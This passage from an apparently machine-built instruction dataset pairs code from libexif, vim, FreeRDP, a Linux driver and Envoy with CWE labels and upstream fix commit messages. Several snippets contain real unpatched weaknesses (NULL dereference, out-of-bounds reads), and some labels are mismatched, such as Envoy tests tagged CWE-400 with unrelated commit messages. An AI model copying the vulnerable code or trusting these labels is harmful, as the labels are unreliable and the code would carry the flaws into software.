EXIF_LOG_CODE_CORRUPT_DATA,\n\t\t\t\t \"ExifMnoteDataFuji\", \"Short MakerNote\");\n\t\t\tbreak;\n\t\t}\n\n\t\tn->entries[tcount].tag = exif_get_short (buf + o, n->order);\n\t\tn->entries[tcount].format = exif_get_short (buf + o + 2, n->order);\n\t\tn->entries[tcount].components = exif_get_long (buf + o + 4, n->order);\n\t\tn->entries[tcount].order = n->order;\n\n\t\texif_log (en->log, EXIF_LOG_CODE_DEBUG, \"ExifMnoteDataFuji\",\n\t\t\t \"Loading entry 0x%x ('%s')...\", n->entries[tcount].tag,\n\t\t\t mnote_fuji_tag_get_name (n->entries[tcount].tag));\n\n\t\t/* Check if we overflow the multiplication. Use buf_size as the max size for integer overflow detection,\n\t\t * we will check the buffer sizes closer later. */\n\t\tif (\texif_format_get_size (n->entries[tcount].format) &&\n\t\t\tbuf_size / exif_format_get_size (n->entries[tcount].format) < n->entries[tcount].components\n\t\t) {\n\t\t\texif_log (en->log, EXIF_LOG_CODE_CORRUPT_DATA,\n\t\t\t\t\t \"ExifMnoteDataFuji\", \"Tag size overflow detected (%u * %lu)\", exif_format_get_size (n->entries[tcount].format), n->entries[tcount].components);\n\t\t\tcontinue;\n\t\t}\n\t\t/*\n\t\t * Size? If bigger than 4 bytes, the actual data is not\n\t\t * in the entry but somewhere else (offset).\n\t\t */\n\t\ts = exif_format_get_size (n->entries[tcount].format) * n->entries[tcount].components;\n\t\tn->entries[tcount].size = s;\n\t\tif (s) {\n\t\t\tsize_t dataofs = o + 8;\n\t\t\tif (s > 4)\n\t\t\t\t/* The data in this case is merely a pointer */\n\t\t\t\tdataofs = exif_get_long (buf + dataofs, n->order) + 6 + n->offset;\n\n\t\t\tif (CHECKOVERFLOW(dataofs, buf_size, s)) {\n\t\t\t\texif_log (en->log, EXIF_LOG_CODE_CORRUPT_DATA,\n\t\t\t\t\t\t \"ExifMnoteDataFuji\", \"Tag data past end of \"\n\t\t\t\t\t \"buffer (%u >= %u)\", (unsigned)(dataofs + s), buf_size);\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tn->entries[tcount].data = exif_mem_alloc (en->mem, s);\n\t\t\tif (!n->entries[tcount].data) {\n\t\t\t\tEXIF_LOG_NO_MEMORY(en->log, \"ExifMnoteDataFuji\", s);\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tmemcpy (n->entries[tcount].data, buf + dataofs, s);\n\t\t}\n\n\t\t/* Tag was successfully parsed */\n\t\t++tcount;\n\t}\n\t/* Store the count of successfully parsed tags */\n\tn->count = tcount;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416', 'CWE-908'], 'message': 'Ensure the MakerNote data pointers are initialized with NULL.\n\nThis ensures that an uninitialized pointer isn't dereferenced later in\nthe case where the number of components (and therefore size) is 0.\n\nThis fixes the second issue reported at\nhttps://sourceforge.net/p/libexif/bugs/125/\n\nCVE-2020-13113'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void tw5864_handle_frame(struct tw5864_h264_frame *frame)\n{\n#define SKIP_VLCBUF_BYTES 3\n\tstruct tw5864_input *input = frame->input;\n\tstruct tw5864_dev *dev = input->root;\n\tstruct tw5864_buf *vb;\n\tstruct vb2_v4l2_buffer *v4l2_buf;\n\tint frame_len = frame->vlc_len - SKIP_VLCBUF_BYTES;\n\tu8 *dst = input->buf_cur_ptr;\n\tu8 tail_mask, vlc_mask = 0;\n\tint i;\n\tu8 vlc_first_byte = ((u8 *)(frame->vlc.addr + SKIP_VLCBUF_BYTES))[0];\n\tunsigned long flags;\n\tint zero_run;\n\tu8 *src;\n\tu8 *src_end;\n\n#ifdef DEBUG\n\tif (frame->checksum !=\n\t tw5864_vlc_checksum((u32 *)frame->vlc.addr, frame_len))\n\t\tdev_err(&dev->pci->dev,\n\t\t\t\"Checksum of encoded frame doesn't match!\\n\");\n#endif\n\n\tspin_lock_irqsave(&input->slock, flags);\n\tvb = input->vb;\n\tinput->vb = NULL;\n\tspin_unlock_irqrestore(&input->slock, flags);\n\n\tv4l2_buf = to_vb2_v4l2_buffer(&vb->vb.vb2_buf);\n\n\tif (!vb) { /* Gone because of disabling */\n\t\tdev_dbg(&dev->pci->dev, \"vb is empty, dropping frame\\n\");\n\t\treturn;\n\t}\n\n\t/*\n\t * Check for space.\n\t * Mind the overhead of startcode emulation prevention.\n\t */\n\tif (input->buf_cur_space_left < frame_len * 5 / 4) {\n\t\tdev_err_once(&dev->pci->dev,\n\t\t\t \"Left space in vb2 buffer, %d bytes, is less than considered safely enough to put frame of length %d. Dropping this frame.\\n\",\n\t\t\t input->buf_cur_space_left, frame_len);\n\t\treturn;\n\t}\n\n\tfor (i = 0; i < 8 - input->tail_nb_bits; i++)\n\t\tvlc_mask |= 1 << i;\n\ttail_mask = (~vlc_mask) & 0xff;\n\n\tdst[0] = (input->tail & tail_mask) | (vlc_first_byte & vlc_mask);\n\tframe_len--;\n\tdst++;\n\n\t/* H.264 startcode emulation prevention */\n\tsrc = frame->vlc.addr + SKIP_VLCBUF_BYTES + 1;\n\tsrc_end = src + frame_len;\n\tzero_run = 0;\n\tfor (; src < src_end; src++) {\n\t\tif (zero_run < 2) {\n\t\t\tif (*src == 0)\n\t\t\t\t++zero_run;\n\t\t\telse\n\t\t\t\tzero_run = 0;\n\t\t} else {\n\t\t\tif ((*src & ~0x03) == 0)\n\t\t\t\t*dst++ = 0x03;\n\t\t\tzero_run = *src == 0;\n\t\t}\n\t\t*dst++ = *src;\n\t}\n\n\tvb2_set_plane_payload(&vb->vb.vb2_buf, 0,\n\t\t\t dst - (u8 *)vb2_plane_vaddr(&vb->vb.vb2_buf, 0));\n\n\tvb->vb.vb2_buf.timestamp = frame->timestamp;\n\tv4l2_buf->field = V4L2_FIELD_INTERLACED;\n\tv4l2_buf->sequence = frame->seqno;\n\n\t/* Check for motion flags */\n\tif (frame->gop_seqno /* P-frame */ &&\n\t tw5864_is_motion_triggered(frame)) {\n\t\tstruct v4l2_event ev = {\n\t\t\t.type = V4L2_EVENT_MOTION_DET,\n\t\t\t.u.motion_det = {\n\t\t\t\t.flags = V4L2_EVENT_MD_FL_HAVE_FRAME_SEQ,\n\t\t\t\t.frame_sequence = v4l2_buf->sequence,\n\t\t\t},\n\t\t};\n\n\t\tv4l2_event_queue(&input->vdev, &ev);\n\t}\n\n\tvb2_buffer_done(&vb->vb.vb2_buf, VB2_BUF_STATE_DONE);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'media: tw5864: Fix possible NULL pointer dereference in tw5864_handle_frame\n\n'vb' null check should be done before dereferencing it in\ntw5864_handle_frame, otherwise a NULL pointer dereference\nmay occur.\n\nFixes: 34d1324edd31 (\"[media] pci: Add tw5864 driver\")\n\nSigned-off-by: YueHaibing \nSigned-off-by: Hans Verkuil \nSigned-off-by: Mauro Carvalho Chehab '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: f_pyeval(typval_T *argvars, typval_T *rettv)\n{\n char_u\t*str;\n char_u\tbuf[NUMBUFLEN];\n\n if (p_pyx == 0)\n\tp_pyx = 2;\n\n str = tv_get_string_buf(&argvars[0], buf);\n do_pyeval(str, rettv);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-78'], 'message': 'patch 8.1.0881: can execute shell commands in rvim through interfaces\n\nProblem: Can execute shell commands in rvim through interfaces.\nSolution: Disable using interfaces in restricted mode. Allow for writing\n file with writefile(), histadd() and a few others.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: SECURITY_STATUS ntlm_read_NegotiateMessage(NTLM_CONTEXT* context, PSecBuffer buffer)\n{\n\twStream* s;\n\tsize_t length;\n\tNTLM_NEGOTIATE_MESSAGE* message;\n\tmessage = &context->NEGOTIATE_MESSAGE;\n\tZeroMemory(message, sizeof(NTLM_NEGOTIATE_MESSAGE));\n\ts = Stream_New((BYTE*)buffer->pvBuffer, buffer->cbBuffer);\n\n\tif (!s)\n\t\treturn SEC_E_INTERNAL_ERROR;\n\n\tif (ntlm_read_message_header(s, (NTLM_MESSAGE_HEADER*)message) < 0)\n\t{\n\t\tStream_Free(s, FALSE);\n\t\treturn SEC_E_INVALID_TOKEN;\n\t}\n\n\tif (message->MessageType != MESSAGE_TYPE_NEGOTIATE)\n\t{\n\t\tStream_Free(s, FALSE);\n\t\treturn SEC_E_INVALID_TOKEN;\n\t}\n\n\tStream_Read_UINT32(s, message->NegotiateFlags); /* NegotiateFlags (4 bytes) */\n\n\tif (!((message->NegotiateFlags & NTLMSSP_REQUEST_TARGET) &&\n\t (message->NegotiateFlags & NTLMSSP_NEGOTIATE_NTLM) &&\n\t (message->NegotiateFlags & NTLMSSP_NEGOTIATE_UNICODE)))\n\t{\n\t\tStream_Free(s, FALSE);\n\t\treturn SEC_E_INVALID_TOKEN;\n\t}\n\n\tcontext->NegotiateFlags = message->NegotiateFlags;\n\n\t/* only set if NTLMSSP_NEGOTIATE_DOMAIN_SUPPLIED is set */\n\n\tif (ntlm_read_message_fields(s, &(message->DomainName)) < 0) /* DomainNameFields (8 bytes) */\n\t{\n\t\tStream_Free(s, FALSE);\n\t\treturn SEC_E_INVALID_TOKEN;\n\t}\n\n\t/* only set if NTLMSSP_NEGOTIATE_WORKSTATION_SUPPLIED is set */\n\n\tif (ntlm_read_message_fields(s, &(message->Workstation)) < 0) /* WorkstationFields (8 bytes) */\n\t{\n\t\tStream_Free(s, FALSE);\n\t\treturn SEC_E_INVALID_TOKEN;\n\t}\n\n\tif (message->NegotiateFlags & NTLMSSP_NEGOTIATE_VERSION)\n\t{\n\t\tif (ntlm_read_version_info(s, &(message->Version)) < 0) /* Version (8 bytes) */\n\t\t{\n\t\t\tStream_Free(s, FALSE);\n\t\t\treturn SEC_E_INVALID_TOKEN;\n\t\t}\n\t}\n\n\tlength = Stream_GetPosition(s);\n\tbuffer->cbBuffer = length;\n\n\tif (!sspi_SecBufferAlloc(&context->NegotiateMessage, length))\n\t{\n\t\tStream_Free(s, FALSE);\n\t\treturn SEC_E_INTERNAL_ERROR;\n\t}\n\n\tCopyMemory(context->NegotiateMessage.pvBuffer, buffer->pvBuffer, buffer->cbBuffer);\n\tcontext->NegotiateMessage.BufferType = buffer->BufferType;\n#ifdef WITH_DEBUG_NTLM\n\tWLog_DBG(TAG, \"NEGOTIATE_MESSAGE (length = %\" PRIu32 \")\", context->NegotiateMessage.cbBuffer);\n\twinpr_HexDump(TAG, WLOG_DEBUG, context->NegotiateMessage.pvBuffer,\n\t context->NegotiateMessage.cbBuffer);\n\tntlm_print_negotiate_flags(message->NegotiateFlags);\n\n\tif (message->NegotiateFlags & NTLMSSP_NEGOTIATE_VERSION)\n\t\tntlm_print_version_info(&(message->Version));\n\n#endif\n\tcontext->state = NTLM_STATE_CHALLENGE;\n\tStream_Free(s, FALSE);\n\treturn SEC_I_CONTINUE_NEEDED;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'Fixed oob read in ntlm_read_NegotiateMessage'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static UINT rdpei_recv_pdu(RDPEI_CHANNEL_CALLBACK* callback, wStream* s)\n{\n\tUINT16 eventId;\n\tUINT32 pduLength;\n\tUINT error;\n\tStream_Read_UINT16(s, eventId); /* eventId (2 bytes) */\n\tStream_Read_UINT32(s, pduLength); /* pduLength (4 bytes) */\n#ifdef WITH_DEBUG_RDPEI\n\tWLog_DBG(TAG, \"rdpei_recv_pdu: eventId: %\" PRIu16 \" (%s) length: %\" PRIu32 \"\", eventId,\n\t rdpei_eventid_string(eventId), pduLength);\n#endif\n\n\tswitch (eventId)\n\t{\n\t\tcase EVENTID_SC_READY:\n\t\t\tif ((error = rdpei_recv_sc_ready_pdu(callback, s)))\n\t\t\t{\n\t\t\t\tWLog_ERR(TAG, \"rdpei_recv_sc_ready_pdu failed with error %\" PRIu32 \"!\", error);\n\t\t\t\treturn error;\n\t\t\t}\n\n\t\t\tif ((error = rdpei_send_cs_ready_pdu(callback)))\n\t\t\t{\n\t\t\t\tWLog_ERR(TAG, \"rdpei_send_cs_ready_pdu failed with error %\" PRIu32 \"!\", error);\n\t\t\t\treturn error;\n\t\t\t}\n\n\t\t\tbreak;\n\n\t\tcase EVENTID_SUSPEND_TOUCH:\n\t\t\tif ((error = rdpei_recv_suspend_touch_pdu(callback, s)))\n\t\t\t{\n\t\t\t\tWLog_ERR(TAG, \"rdpei_recv_suspend_touch_pdu failed with error %\" PRIu32 \"!\", error);\n\t\t\t\treturn error;\n\t\t\t}\n\n\t\t\tbreak;\n\n\t\tcase EVENTID_RESUME_TOUCH:\n\t\t\tif ((error = rdpei_recv_resume_touch_pdu(callback, s)))\n\t\t\t{\n\t\t\t\tWLog_ERR(TAG, \"rdpei_recv_resume_touch_pdu failed with error %\" PRIu32 \"!\", error);\n\t\t\t\treturn error;\n\t\t\t}\n\n\t\t\tbreak;\n\n\t\tdefault:\n\t\t\tbreak;\n\t}\n\n\treturn CHANNEL_RC_OK;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'Fixed oob read in irp_write and similar'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void ConnectionImpl::StreamImpl::encodeData(Buffer::Instance& data, bool end_stream) {\n ASSERT(!local_end_stream_);\n local_end_stream_ = end_stream;\n pending_send_data_.move(data);\n if (data_deferred_) {\n int rc = nghttp2_session_resume_data(parent_.session_, stream_id_);\n ASSERT(rc == 0);\n\n data_deferred_ = false;\n }\n\n parent_.sendPendingFrames();\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-400'], 'message': 'http/2: add stats and stream flush timeout (#139)\n\nThis commit adds a new stream flush timeout to guard against a\nremote server that does not open window once an entire stream has\nbeen buffered for flushing. Additional stats have also been added\nto better understand the codecs view of active streams as well as\namount of data buffered.\n\nSigned-off-by: Matt Klein '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int ConnectionImpl::onStreamClose(int32_t stream_id, uint32_t error_code) {\n StreamImpl* stream = getStream(stream_id);\n if (stream) {\n ENVOY_CONN_LOG(debug, \"stream closed: {}\", connection_, error_code);\n if (!stream->remote_end_stream_ || !stream->local_end_stream_) {\n StreamResetReason reason;\n if (stream->reset_due_to_messaging_error_) {\n // Unfortunately, the nghttp2 API makes it incredibly difficult to clearly understand\n // the flow of resets. I.e., did the reset originate locally? Was it remote? Here,\n // we attempt to track cases in which we sent a reset locally due to an invalid frame\n // received from the remote. We only do that in two cases currently (HTTP messaging layer\n // errors from https://tools.ietf.org/html/rfc7540#section-8 which nghttp2 is very strict\n // about). In other cases we treat invalid frames as a protocol error and just kill\n // the connection.\n reason = StreamResetReason::LocalReset;\n } else {\n reason = error_code == NGHTTP2_REFUSED_STREAM ? StreamResetReason::RemoteRefusedStreamReset\n : StreamResetReason::RemoteReset;\n }\n\n stream->runResetCallbacks(reason);\n }\n\n connection_.dispatcher().deferredDelete(stream->removeFromList(active_streams_));\n // Any unconsumed data must be consumed before the stream is deleted.\n // nghttp2 does not appear to track this internally, and any stream deleted\n // with outstanding window will contribute to a slow connection-window leak.\n nghttp2_session_consume(session_, stream_id, stream->unconsumed_bytes_);\n stream->unconsumed_bytes_ = 0;\n nghttp2_session_set_stream_user_data(session_, stream->stream_id_, nullptr);\n }\n\n return 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-400'], 'message': 'http/2: add stats and stream flush timeout (#139)\n\nThis commit adds a new stream flush timeout to guard against a\nremote server that does not open window once an entire stream has\nbeen buffered for flushing. Additional stats have also been added\nto better understand the codecs view of active streams as well as\namount of data buffered.\n\nSigned-off-by: Matt Klein '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: TEST_P(SslCertficateIntegrationTest, ServerEcdsaClientRsaOnly) {\n server_rsa_cert_ = false;\n server_ecdsa_cert_ = true;\n initialize();\n auto codec_client = makeRawHttpConnection(makeSslClientConnection(rsaOnlyClientOptions()));\n EXPECT_FALSE(codec_client->connected());\n const std::string counter_name = listenerStatPrefix(\"ssl.connection_error\");\n Stats::CounterSharedPtr counter = test_server_->counter(counter_name);\n test_server_->waitForCounterGe(counter_name, 1);\n EXPECT_EQ(1U, counter->value());\n counter->reset();\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-400'], 'message': 'http/2: add stats and stream flush timeout (#139)\n\nThis commit adds a new stream flush timeout to guard against a\nremote server that does not open window once an entire stream has\nbeen buffered for flushing. Additional stats have also been added\nto better understand the codecs view of active streams as well as\namount of data buffered.\n\nSigned-off-by: Matt Klein '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: TEST_P(Http2CodecImplDeferredResetTest, DeferredResetServer) {\n initialize();\n\n InSequence s;\n\n TestRequestHeaderMapImpl request_headers;\n HttpTestUtility::addDefaultHeaders(request_headers);\n EXPECT_CALL(request_decoder_, decodeHeaders_(_, false));\n request_encoder_->encodeHeaders(request_headers, false);\n\n // In this case we do the same thing as DeferredResetClient but on the server side.\n ON_CALL(server_connection_, write(_, _))\n .WillByDefault(\n Invoke([&](Buffer::Instance& data, bool) -> void { client_wrapper_.buffer_.add(data); }));\n TestResponseHeaderMapImpl response_headers{{\":status\", \"200\"}};\n response_encoder_->encodeHeaders(response_headers, false);\n Buffer::OwnedImpl body(std::string(1024 * 1024, 'a'));\n EXPECT_CALL(server_stream_callbacks_, onAboveWriteBufferHighWatermark()).Times(AnyNumber());\n response_encoder_->encodeData(body, true);\n EXPECT_CALL(server_stream_callbacks_, onResetStream(StreamResetReason::LocalReset, _));\n response_encoder_->getStream().resetStream(StreamResetReason::LocalReset);\n\n MockStreamCallbacks client_stream_callbacks;\n request_encoder_->getStream().addCallbacks(client_stream_callbacks);\n EXPECT_CALL(response_decoder_, decodeHeaders_(_, false));\n EXPECT_CALL(response_decoder_, decodeData(_, false)).Times(AtLeast(1));\n EXPECT_CALL(client_stream_callbacks, onResetStream(StreamResetReason::RemoteReset, _));\n setupDefaultConnectionMocks();\n auto status = client_wrapper_.dispatch(Buffer::OwnedImpl(), *client_);\n EXPECT_TRUE(status.ok());\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-400'], 'message': 'http/2: add stats and stream flush timeout (#139)\n\nThis commit adds a new stream flush timeout to guard against a\nremote server that does not open window once an entire stream has\nbeen buffered for flushing. Additional stats have also been added\nto better understand the codecs view of active streams as well as\namount of data buffered.\n\nSigned-off-by: Matt Klein '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: TEST_F(Http1ServerConnectionImplTest, LargeTrailersRejectedIgnored) {\n // Default limit of 60 KiB\n std::string long_string = \"big: \" + std::string(60 * 1024, 'q') + \"\\r\\n\";\n testTrailersExceedLimit(long_string, false);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-770'], 'message': '[http1] Include request URL in request header size computation, and reject partial headers that exceed configured limits (#145)\n\nSigned-off-by: antonio '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: TEST_P(ClusterMemoryTestRunner, MemoryLargeClusterSizeWithRealSymbolTable) {\n symbol_table_creator_test_peer_.setUseFakeSymbolTables(false);\n\n // A unique instance of ClusterMemoryTest allows for multiple runs of Envoy with\n // differing configuration. This is necessary for measuring the memory consumption\n // between the different instances within the same test.\n const size_t m100 = ClusterMemoryTestHelper::computeMemoryDelta(1, 0, 101, 0, true);\n const size_t m_per_cluster = (m100) / 100;\n\n // Note: if you are increasing this golden value because you are adding a\n // stat, please confirm that this will be generally useful to most Envoy\n // users. Otherwise you are adding to the per-cluster memory overhead, which\n // will be significant for Envoy installations that are massively\n // multi-tenant.\n //\n // History of golden values:\n //\n // Date PR Bytes Per Cluster Notes\n // exact upper-bound\n // ---------- ----- ----------------- -----\n // 2019/08/09 7882 35489 36000 Initial version\n // 2019/09/02 8118 34585 34500 Share symbol-tables in cluster/host stats.\n // 2019/09/16 8100 34585 34500 Add transport socket matcher in cluster.\n // 2019/09/25 8226 34777 35000 dns: enable dns failure refresh rate configuration\n // 2019/09/30 8354 34969 35000 Implement transport socket match.\n // 2019/10/17 8537 34966 35000 add new enum value HTTP3\n // 2019/10/17 8484 34998 35000 stats: add unit support to histogram\n // 2019/11/01 8859 35221 36000 build: switch to libc++ by default\n // 2019/11/15 9040 35029 35500 build: update protobuf to 3.10.1\n // 2019/11/15 9031 35061 35500 upstream: track whether cluster is local\n // 2019/12/10 8779 35053 35000 use var-length coding for name lengths\n // 2020/01/07 9069 35548 35700 upstream: Implement retry concurrency budgets\n // 2020/01/07 9564 35580 36000 RefcountPtr for CentralCache.\n // 2020/01/09 8889 35644 36000 api: add UpstreamHttpProtocolOptions message\n // 2019/01/09 9227 35772 36500 router: per-cluster histograms w/ timeout budget\n // 2020/01/12 9633 35932 36500 config: support recovery of original message when\n // upgrading.\n // 2020/03/16 9964 36220 36800 http2: support custom SETTINGS parameters.\n // 2020/03/24 10501 36300 36800 upstream: upstream_rq_retry_limit_exceeded.\n // 2020/04/02 10624 35564 36000 Use 100 clusters rather than 1000 to avoid timeouts\n // 2020/04/07 10661 35557 36000 fix clang tidy on master\n // 2020/04/23 10531 36281 36800 http: max stream duration upstream support.\n // 2020/05/05 10908 36345 36800 router: add InternalRedirectPolicy and predicate\n // 2020/05/13 10531 36537 36800 Refactor resource manager\n // 2020/05/20 11223 36603 36800 Add primary clusters tracking to cluster manager.\n // 2020/06/10 11561 36603 36923 Make upstreams pluggable\n\n // Note: when adjusting this value: EXPECT_MEMORY_EQ is active only in CI\n // 'release' builds, where we control the platform and tool-chain. So you\n // will need to find the correct value only after failing CI and looking\n // at the logs.\n //\n // On a local clang8/libstdc++/linux flow, the memory usage was observed in\n // June 2019 to be 64 bytes higher than it is in CI/release. Your mileage may\n // vary.\n //\n // If you encounter a failure here, please see\n // https://github.com/envoyproxy/envoy/blob/master/source/docs/stats.md#stats-memory-tests\n // for details on how to fix.\n EXPECT_MEMORY_EQ(m_per_cluster, 36603);\n EXPECT_MEMORY_LE(m_per_cluster, 38000); // Round up to allow platform variations.\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-400'], 'message': 'listener: Add configurable accepted connection limits (#153)\n\nAdd support for per-listener limits on accepted connections.\n\nSigned-off-by: Tony Allen '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void InstanceImpl::onRuntimeReady() {\n // Begin initializing secondary clusters after RTDS configuration has been applied.\n clusterManager().initializeSecondaryClusters(bootstrap_);\n\n if (bootstrap_.has_hds_config()) {\n const auto& hds_config = bootstrap_.hds_config();\n async_client_manager_ = std::make_unique(\n *config_.clusterManager(), thread_local_, time_source_, *api_, grpc_context_.statNames());\n hds_delegate_ = std::make_unique(\n stats_store_,\n Config::Utility::factoryForGrpcApiConfigSource(*async_client_manager_, hds_config,\n stats_store_, false)\n ->create(),\n hds_config.transport_api_version(), *dispatcher_, Runtime::LoaderSingleton::get(),\n stats_store_, *ssl_context_manager_, *random_generator_, info_factory_, access_log_manager_,\n *config_.clusterManager(), *local_info_, *admin_, *singleton_manager_, thread_local_,\n messageValidationContext().dynamicValidationVisitor(), *api_);\n }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-400'], 'message': 'overload: Runtime configurable global connection limits (#147)\n\nSigned-off-by: Tony Allen '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: TEST_F(OwnedImplTest, ReserveReuse) {\n Buffer::OwnedImpl buffer;\n static constexpr uint64_t NumIovecs = 2;\n Buffer::RawSlice iovecs[NumIovecs];\n\n // Reserve some space and leave it uncommitted.\n uint64_t num_reserved = buffer.reserve(8192, iovecs, NumIovecs);\n EXPECT_EQ(1, num_reserved);\n const void* first_slice = iovecs[0].mem_;\n\n // Reserve more space and verify that it begins with the same slice from the last reservation.\n num_reserved = buffer.reserve(16384, iovecs, NumIovecs);\n EXPECT_EQ(2, num_reserved);\n EXPECT_EQ(first_slice, iovecs[0].mem_);\n const void* second_slice = iovecs[1].mem_;\n\n // Repeat the last reservation and verify that it yields the same slices.\n num_reserved = buffer.reserve(16384, iovecs, NumIovecs);\n EXPECT_EQ(2, num_reserved);\n EXPECT_EQ(first_slice, iovecs[0].mem_);\n EXPECT_EQ(second_slice, iovecs[1].mem_);\n expectSlices({{0, 12248, 12248}, {0, 8152, 8152}}, buffer);\n\n // Request a larger reservation, verify that the second entry is replaced with a block with a\n // larger size.\n num_reserved = buffer.reserve(30000, iovecs, NumIovecs);\n const void* third_slice = iovecs[1].mem_;\n EXPECT_EQ(2, num_reserved);\n EXPECT_EQ(first_slice, iovecs[0].mem_);\n EXPECT_EQ(12248, iovecs[0].len_);\n EXPECT_NE(second_slice, iovecs[1].mem_);\n EXPECT_EQ(30000 - iovecs[0].len_, iovecs[1].len_);\n expectSlices({{0, 12248, 12248}, {0, 8152, 8152}, {0, 20440, 20440}}, buffer);\n\n // Repeating a the reservation request for a smaller block returns the previous entry.\n num_reserved = buffer.reserve(16384, iovecs, NumIovecs);\n EXPECT_EQ(2, num_reserved);\n EXPECT_EQ(first_slice, iovecs[0].mem_);\n EXPECT_EQ(second_slice, iovecs[1].mem_);\n expectSlices({{0, 12248, 12248}, {0, 8152, 8152}, {0, 20440, 20440}}, buffer);\n\n // Repeat the larger reservation notice that it doesn't match the prior reservation for 30000\n // bytes.\n num_reserved = buffer.reserve(30000, iovecs, NumIovecs);\n EXPECT_EQ(2, num_reserved);\n EXPECT_EQ(first_slice, iovecs[0].mem_);\n EXPECT_EQ(12248, iovecs[0].len_);\n EXPECT_NE(second_slice, iovecs[1].mem_);\n EXPECT_NE(third_slice, iovecs[1].mem_);\n EXPECT_EQ(30000 - iovecs[0].len_, iovecs[1].len_);\n expectSlices({{0, 12248, 12248}, {0, 8152, 8152}, {0, 20440, 20440}, {0, 20440, 20440}}, buffer);\n\n // Commit the most recent reservation and verify the representation.\n buffer.commit(iovecs, num_reserved);\n expectSlices({{12248, 0, 12248}, {0, 8152, 8152}, {0, 20440, 20440}, {17752, 2688, 20440}},\n buffer);\n\n // Do another reservation.\n num_reserved = buffer.reserve(16384, iovecs, NumIovecs);\n EXPECT_EQ(2, num_reserved);\n expectSlices({{12248, 0, 12248},\n {0, 8152, 8152},\n {0, 20440, 20440},\n {17752, 2688, 20440},\n {0, 16344, 16344}},\n buffer);\n\n // And commit.\n buffer.commit(iovecs, num_reserved);\n expectSlices({{12248, 0, 12248},\n {0, 8152, 8152},\n {0, 20440, 20440},\n {20440, 0, 20440},\n {13696, 2648, 16344}},\n buffer);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-401'], 'message': '[buffer] Add on-drain hook to buffer API and use it to avoid fragmentation due to tracking of H2 data and control frames in the output buffer (#144)\n\nSigned-off-by: antonio '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: bool ConnectionImpl::addOutboundFrameFragment(Buffer::OwnedImpl& output, const uint8_t* data,\n size_t length) {\n // Reset the outbound frame type (set in the onBeforeFrameSend callback) since the\n // onBeforeFrameSend callback is not called for DATA frames.\n bool is_outbound_flood_monitored_control_frame = false;\n std::swap(is_outbound_flood_monitored_control_frame, is_outbound_flood_monitored_control_frame_);\n try {\n incrementOutboundFrameCount(is_outbound_flood_monitored_control_frame);\n } catch (const FrameFloodException&) {\n 